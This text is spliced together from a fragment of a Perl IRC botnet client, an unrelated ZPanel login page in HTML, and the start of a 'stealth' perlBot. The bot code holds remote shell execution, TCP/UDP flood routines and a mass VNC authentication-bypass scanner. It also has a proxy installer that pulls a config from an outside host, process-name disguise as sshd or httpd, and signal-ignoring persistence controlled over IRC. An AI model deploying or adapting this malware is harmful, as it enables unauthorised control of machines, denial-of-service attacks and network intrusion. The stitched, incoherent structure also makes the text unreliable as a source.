###########################################################
#######################[.@sendmail.]#######################
###########################################################
###########################################################
########################[.@socks5.]########################
###########################################################
if ($funcarg =~ /^socks5/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Installing Mocks please wait4");
system 'cd /tmp';
system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
system 'tar -xvfz mocks-0.0.2.tar.gz';
system 'rm -rf mocks-0.0.2.tar.gz';
system 'cd mocks-0.0.2';
system 'rm -rf mocks.conf';
system 'curl -O http://andromeda.covers.de/221/mocks.conf';
system 'touch mocks.log';
system 'chmod 0 mocks.log';
sleep(2);
system './mocks start';
sleep(4);
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Looks like its succesfully installed lets do the last things4 ");
#lets grab ip
$net = `/sbin/ifconfig | grep 'eth0'`;
if (length($net))
{
$net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
if (!length($net))
{
$net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
}
if (length($net))
{
chop($net);
@netip = split/:/,$net;
$netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
$ip = $1 .".". $2 .".". $3 .".". $4;
#and print it ^^
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 Connect here :4 ". $ip .":8787 ");
}
else
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Socks52:.14 IP not founded ");
}
}
else
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
}
}
###########################################################
########################[.@socks5.]########################
###########################################################
###########################################################
##########################[.@vnc.]#########################
###########################################################
#r0xb0t 4.6 VNC ScaNNer by ARZ
if ($funcarg =~ /^vnc\s+(.*)/) {
my $MAX_SOCKET_TIME = 2;
my $MAX_CONNECT_TIME = 3;
#&ftpcheckm($printl);
my @hosts;
my $MAX_PROCESSES=100;
my $host=$1;
#my $victim=$host;
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] :::: IP Range:_4 $host* ");
$|=1;
foreach (0..255) {
my $pre="$host.$_.";
foreach (1..255) {
push(@hosts,$pre.$_);
}
}
my @pids;
my $npids=0;
for $victim (@hosts){
my $pid;
$pid=fork();
if($pid>0){
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
} elsif(undef $pid) {
# print "fork error\n" if ($DEBUG);
exit(0);
}else{
my($proto,$port);
$0="";
# kill thread on timeout
local $SIG{'ALRM'} = sub { exit(0); };
alarm $MAX_SOCKET_TIME;
my $port=5900;
print "Connecting to $victim:$port...";
#$| = 1;
($sock = IO::Socket::INET->new(PeerAddr => $victim,PeerPort => $port,Proto => 'tcp',)) ? print "\n": die("\n");
#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
print "Using protocol $protocol_version";
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));
print $sock "\x01";
$sock->read($in,4);
if(unpack('I',$in)) { die("\n") };
print $sock "\x01";
$sock->read($in,4);
(unpack('I',$in)) ?
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] ::::_4 ".$victim." _12is Vulnerable using protocol_4 ".$protocol_version): die("\n");
exit;
}
}
for(1..$npids){
my $wt=wait();
if($wt==-1){
# print "hey $!\n" if($DEBUG);
redo;
}
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :_12[_4@_VNC_12] :::: Finished Scan for _4 $host ");
}
###########################################################
##########################[.@vnc.]#########################
###########################################################
###########################################################
#########################[.@nmap.]#########################
###########################################################
if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
my $hostip="$1";
my $portstart = "$2";
my $portend = "$3";
my (@abertas, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Scanning $1 For Ports: $2-$3");
foreach my $porta ($portstart..$portend){
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($xstats){
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Founded $porta"."/Open");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 Complete");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :2.:4Nmap2:.14 No open ports have been founded");
}
}
###########################################################
#########################[.@nmap.]#########################
###########################################################
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub tcpflooder {
my $itime = time;
my ($cur_time);
my ($ia,$pa,$proto,$j,$l,$t);
$ia=inet_aton($_[0]);
$pa=sockaddr_in($_[1],$ia);
$ftime=$_[2];
$proto=getprotobyname('tcp');
$j=0;$l=0;
$cur_time = time - $itime;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
socket($t,PF_INET,SOCK_STREAM,$proto);
connect($t,$pa)||$j--;
$j++;$l++;
}
$l=0;
while ($l<1000){
$cur_time = time - $itime;
last if $cur_time >= $ftime;
$t="SOCK$l";
shutdown($t,2);
$l++;
}
}
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $port = 1; $port <= 65000; $port++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub udpflooder2 {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my $udpport = $_[3];
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{tcp}++;
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($udpport, $iaddr)) and $pacotes{o}++;
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
sendraw("PART $_[0]");
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
}
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Control Panel - Login</title>
<meta name="viewport" content="width=device-width">
<meta name="robots" content="noindex, nofollow">
<!-- Favicons -->
<link rel="apple-touch-icon-precomposed" sizes="57x57" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-57-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-72-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="/etc/styles/zpanelx/img/ico/apple-touch-icon-144-precomposed.png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav16.png" sizes="16x16" type="image/png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav32.png" sizes="32x32" type="image/png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav48.png" sizes="48x48" type="image/png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav64.png" sizes="64x64" type="image/png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav128.png" sizes="128x128" type="image/png">
<link rel="icon" href="/etc/styles/zpanelx/img/ico/fav32.png">
<!--[if IE]><link rel="shortcut icon" href="/etc/styles/zpanelx/img/ico/favicon.ico"><![endif]-->
<meta name="msapplication-TileColor" content="#222222">
<meta name="msapplication-TileImage" content="/etc/styles/zpanelx/img/ico/fav144.png">
<!-- Stylesheets -->
<link href="/etc/styles/zpanelx/global-css/bootstrap.css" rel="stylesheet">
<link href="/etc/styles/zpanelx/global-css/login.css" rel="stylesheet">
<!-- HTML5 shim for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<script src="/etc/styles/zpanelx/js/html5shiv.js"></script>
<![endif]-->
<script>
document.write('<style type="text/css">body {display:none;}<\/style>');
</script>
<!-- Anti-ClickJacking Protection -->
<style id="antiClickjack">body{display:none !important;}</style>
<script>
if (self === top) {
var antiClickjack = document.getElementById("antiClickjack");
antiClickjack.parentNode.removeChild(antiClickjack);
} else {
top.location = self.location;
}
</script>
</head>
<body>
<div class="loginwrapper">
<div class="panel login-panel">
<div class="panel-heading login-head">
<img src="/etc/styles/zpanelx/images/zplogo_v9.png">
</div>
<div class="panel-content form-horizontal">
<!-- Reset password form -->
<!-- Forgot password form -->
<form method="post" name="frmZForgot" id="frmZForgot" class="form-horizontal loginform" style="display: none;">
<div class="loginmid">
<div class="control-group">
<label class="control-label" for="inputEmail">
Email:
</label>
<div class="controls">
<input type="text" class="input-medium" id="inputEmail" name="inForgotPassword" placeholder="Email" required>
</div>
</div>
</div>
<div class="loginbtm">
<div>
<a href="javascript:void(0);" id="backtologin">Back To Login</a>
</div>
<div>
<button type="submit" class="btn btn-primary" name="sublogin2" value="LogIn">Submit</button>
</div>
</div>
<input type="hidden" name="csfr_token" value="w2rxxfadz0acq8iegwjtfp3u4qvtsnipn5cd0rsaqg0ze9dk02"> </form>
<!-- End Forgot password form -->
<!-- Login form -->
<form method="post" name="frmZLogin" id="frmZLogin" class="form-horizontal loginform">
<div class="loginmid">
<div class="control-group">
<label class="control-label" for="inputUsername">Username:</label>
<div class="controls">
<input type="text" class="input-medium" id="inputUsername" name="inUsername" placeholder="Username" required>
</div>
</div>
<div class="control-group">
<label class="control-label" for="inPassword">Password:</label>
<div class="controls">
<input type="password" class="input-medium" id="inPassword" name="inPassword" placeholder="Password" required>
</div>
</div>
<div class="fluid-row">
<div class="controls">
<label class="checkbox">
<input type="checkbox" data-label="Remember Me" name="inRemember" value="1">
<input type="checkbox" data-label="Enable Session Security" name="inSessionSecurity" checked>
</label>
</div>
</div>
</div>
<div class="loginbtm">
<div>
<a href="javascript:void(0);" id="forgotpw">Forgot Password?</a>
</div>
<div>
<button type="submit" class="btn btn-primary" name="sublogin2" value="LogIn">Login</button>
</div>
</div>
<input type="hidden" name="csfr_token" value="w2rxxfadz0acq8iegwjtfp3u4qvtsnipn5cd0rsaqg0ze9dk02"> </form>
<!-- End Login form -->
</div><!-- End Panel content-->
</div>
<p class="vbox">Powered By: <a href="http://www.zpanelcp.com/" target="_blank">ZPanel</a></p>
</div>
<!-- Javascript
================================================== -->
<script src="/etc/styles/zpanelx/js/jquery.js"></script>
<script src="/etc/styles/zpanelx/js/prettyCheckable.js"></script>
<!-- Pretty checkable @ https://github.com/arthurgouveia/prettyCheckable -->
<script>
$().ready(function() {
$('input:checkbox').prettyCheckable({
color: 'green',
customClass: 'logcheckbox'
});
});
</script>
<!-- Login form transitions -->
<script>
$('#forgotpw').click(function() {
$('#frmZLogin').slideUp('slow', function() {
$('#frmZForgot').slideDown("slow");
});
});
$('#backtologin').click(function() {
$('#frmZForgot').slideUp('slow', function() {
$('#frmZLogin').slideDown("slow");
});
});
$('#backtologin2').click(function() {
$('#frmZConfirm').slideUp('slow', function() {
$('#frmZLogin').slideDown("slow");
});
});
</script>
<!-- Page fade in after load -->
<script>
$(window).load(function() {
$("body").fadeIn();
});
</script>
</body>
</html>
#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
## perlBot v1.02012 By unknown @unknown ## [ Help ] ####################################
## Stealth MultiFunctional IrcBot Writen in Perl #####################################################
## Teste on every system with PERL instlled ## !x @system ##
## ## !x @version ##
## This is a free program used on your own risk. ## !x @channel ##
## Created for educational purpose only. ## !x @flood ##
## I'm not responsible for the illegal use of this program. ## !x @utils ##
####################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] #########################
####################################################################################################################
## !x !join <#channel> ## !x @udp1 <ip> <port> <time> ## !su @conback <ip> <port> ##
## !x !part <#channel> ## !x @udp2 <ip> <packet size> <time> ## !x @downlod <url+path> <file> ##
## !x !xejoin <#channel> ## !x @udp3 <ip> <port> <time> ## !x @portscan <ip> ##
## !x !op <channel> <nick> ## !x @tcp <ip> <port> <packet size> <time> ## !x @mail <subject> <sender> ##
## !x !deop <channel> <nick> ## !x @http <site> <time> ## <recipient> <message> ##
## !x !voice <channel> <nick> ## ## !x pwd;uname -a;id <for example> ##
## !x !devoice <channel> <nick> ## !x @ctcpflood <nick> ## !x @port <ip> <port> ##
## !x !nick <newnick> ## !x @msgflood <nick> ## !x @dns <ip/host> ##
## !x !msg <nick> ## !x @noticeflood <nick> ## ##
## !x !quit ## ## ##
## !x !xaw ## ## ##
## !x !die ## ## ##
####################################################################################################################
####################################################################################################################
#############################
##### [ Configuration ] #####
#############################
my @rps = ("/usr/local/apache/bin/httpd -DSSL","/usr/sbin/httpd -k start -DSSL","/usr/sbin/httpd","/usr/sbin/sshd -i","/usr/sbin/sshd","/usr/sbin/sshd -D","/sbin/syslogd","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
my @rversion = ("\001VERSION - unknown command.\001",
"\001mIRC v5.91 K.Mardam-Bey\001",
"\001mIRC v6.2 Khaled Mardam-Bey\001",
"\001mIRC v6.03 Khaled Mardam-Bey\001",
"\001mIRC v6.14 Khaled Mardam-Bey\001",
"\001mIRC v6.15 Khaled Mardam-Bey\001",
"\001mIRC v6.16 Khaled Mardam-Bey\001",
"\001mIRC v6.17 Khaled Mardam-Bey\001",
"\001mIRC v6.21 Khaled Mardam-Bey\001",
"\001mIRC v6.31 Khaled Mardam-Bey\001",
"\001mIRC v7.15 Khaled Mardam-Bey\001");
my $vers = $rversion[rand scalar @rversion];
my @rircname = ("abbore","ably","abyss","acrima","aerodream","afkdemon","ainthere","alberto","alexia","alexndra",
"alias","alikki","alphaa","alterego","alvin","ambra","amed","andjela","andreas","anja",
"anjing","anna","apeq","arntz","arskaz","as","asmodizz","asssa","athanas","aulis",
"aus","bar","bast","bedem","beeth","bella","birillo","bizio","blackhand","blacky",
"blietta","blondenor","blueangel","bluebus","bluey","bobi","bopoh","borre","boy","bram",
"brigitta","brio","brrrweg","brujah","caprcorn","carloto","catgirl","cathren","cemanmp","chainess",
"chaingone","chck","chriz","cigs","cintat","clarissa","clbiz","clex","cobe","cocker",
"coke","colin","conan","condoom","coop","coopers","corvonero","countzero","cracker","cread",
"crnaruka","cruizer","cubalibre","cure","custodes","dan","dangelo","danic","daniela","dario",
"darker","darknz","davide","daw","demigd","des","devastor","diabolik","dimkam","dital",
"djtt","dogzzz","dolfi","dolphin","dottmorte","dracon","dragon","drtte","dumbblnd","dusica",
"ebe","edgie","eggist","einaimou","elef","elly","emmi","encer","engerim","erixon",
"eurotrash","fairsight","fin","fireaway","fjortisch","floutti","fluffer","flum","forever","fqw",
"fra","freem","freew","freud","funny","furia","furunkuli","fwsmou","gad","gamppy",
"gerhard","ghostie","gili","girlie","giugno","gizmo","glidaren","gold","gomora","gracie",
"grave","graz","grron","gsund","gufoao","hali","hallas","hammer","harri","harry",
"hayes","hazor","herbiez","hlios","hoffi","honeii","hongkong","hug","iasv","ibanez",
"ibanz","ibar","igi","illusins","imp","inkworks","iplord","ivan","ja","jaffa",
"jaimeafk","james","jamezdin","janet","janne","jason","javagrl","jayc","jazz",
"jejborta","jester","jj","jn","jockey","joe","joelbitar","johannes","johndow","johnny",
"joni","jonni","jornx","joshua","jossumi","judy","juge","juha","juhas","julze",
"juutsu","kajman","kalca","kamileon","kardinal","kasandra","katarina","kaviee","kbee","ken",
"keung","kewin","khan","kikeli","kikii","kilroi","kiwi","klaara","kliimax","klimas",
"kode","kojv","koopal","kralj","krash","krista","kronos","ktx","kungen","kuppa",
"kurai","lala","lamour","latina","legend","lenisaway","lily","linda","lingyee","linux",
"lisa","lisha","litta","littleboy","liverpoo","liyen","liz","liza","lonely","lonelygal",
"lonewolf","lopez","lordie","lovebyte","lph","luarbiasa","lucignol","lullaby","lunatic","luny",
"lupo","mac","macesgl","madd","mailman","malkav","malr","mamakians","mamaw","manarimou",
"manarisou","maradona","marakana","marco","marillion","mark","mary","master","maurino","max",
"mcalcota","melanie","melinda","meph","mephisto","mg","mhj","mhz","mig","miina",
"mika","mikav","mike","mikemcgii","mikko","mikma","mimma","miss","moladmin","monikaw",
"monkeyboy","monroe","monstop","mooks","mordeshur","mpdike","mrbate","mrbeauty","mrblom","mrbx",
"mrjee","mro","mrtabizy","mrx","mrxx","msd","mu","muimui","musashi","musc",
"musce","musicgal","muti","myboy","mystr","mythic","mywife","nallllle","nanask","natalie",
"natborta","ncubus","neutrino","niceguy","nico","niklas","nimfa","nino","nurul","obiwanbip",
"ogre","olivia","omega","only","orac","orace","oranzzzzz","organza","ourlove","outworld",
"outzake","oxygn","paliadog","pazarac","permaloso","perroz","pessaar","phre","phreaky","pihkal",
"pinball","poesje","poison","poofie","popy","powerpc","pper","primera","primetime","proxyma",
"pshyche","psioncore","psiximou","psixisou","psychosis","psyidle","pszaah","puppetm","pzzzz",
"quattro","question","ra","ragio","ragnetto","raiden","raindance","raistln","ranu","raska",
"raul","raye","reartu","red","reflect","ribica","richard","rick","rigo","rikuta",
"rikuxr","rita","rix","rob","roku","ronaldo","ronwrl","roticanai","rugiada","ruthless",
"saalut","sammi","sand","satanins","schzsh","scorpin","sealink","sean","secret","serpentor",
"servant","sethi","sexbolek","sexyman","sharmm","shearer","shekel","shio","shortys","shred",
"sidewalk","sil","siren","skar","skill","skru","sky","skygun","skylink","slaktarn",
"slash","slgon","smarties","smck","snake","snike","snoopgirl","sodoma","sopocani","sorceress",
"spacebbl","spacedump","spanker","spermboy","spirtouli","srk","stazzz","steve","stinga","stj",
"stjf","studenica","stussy","suez","suhoj","sukun","sunsola","surfer","sutera","svearike",
"sweetii","sweetlady","sweklopi","swepilot","switch","syncphos","szern","takumura","tallaxlc","tampone",
"tarabas","tatano","tato","tennis","tenx","terence","terkukur","tero","thefox","thesint",
"timer","timewalk","tmhd","tnxfck","to","tomihki","tommy","topo","triumph","trustme",
"tungau","tupac","turbozzzz","turing","tvrdjava","tysn","unicron","uoff","uptimer","utopia",
"vader","vaismi","vajje","vanda","varjo","vass","vento","venusguy","vertie","viagara",
"vicious","vidxxx","virex","vodafone","vone","vrgnie","vuubeibe","wanderer","warrr","wasabboy",
"weebee","wellu","wendy","whiskey","willgood","wing","winny","wknight","wlly","wolfman",
"wow","wp","xarasou","xtreme","xxx","xzone","yakzr","yang","yashy","yasin",
"yenyen","ykbug","yogiebear","zai","zfstr","zinj","zizu","zvezda","zwimou","zwisou",
"zwsiew","zwsiewale");
my $ircname = $rircname[rand scalar @rircname];
## my @rrealname = ("4,1[ unknown ]",
## "4,1 /!\ unknown /!\ ",
## "2,1---=== 4,1 unknown 2,1===---");
## chop (my $realname = $rrealname[rand scalar @rrealname]);
chop (my $realname = `uname -sr`);
my $nick =$rircname[rand scalar @rircname];
$server = 'us.bot.nu' unless $server;
my $port = '5190';
my $linas_max='8';
my $sleep='5';
my $homedir = "/var/tmp";
my $version = 'perlBoT v001';
my @admins = ("X","root");
my @hostauth = ("1.1.1.1");
my @channels = ("#bash");
my $pacotes = 1;
#################################################################
##### [ Stop Editing if you dont know what are you doing. ] #####
#################################################################
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
chdir("$homedir");
$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub getstore ($$)
{
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}
sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}
sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") {
$b1 = $buf;
$buf =~ s/.+?\015?\012\015?\012//s;
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
my $url = $1;
return undef if $http_loop_check{$url}++;
return _get($url);
}
return undef unless $main::http_get_result =~ /^2/;
}
return $buf;
}
sub conectar {
my $meunick = $_[0];
my $server_con = $_[1];
my $port_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
PeerPort=>$port_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$vers."");
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!x)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick-".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
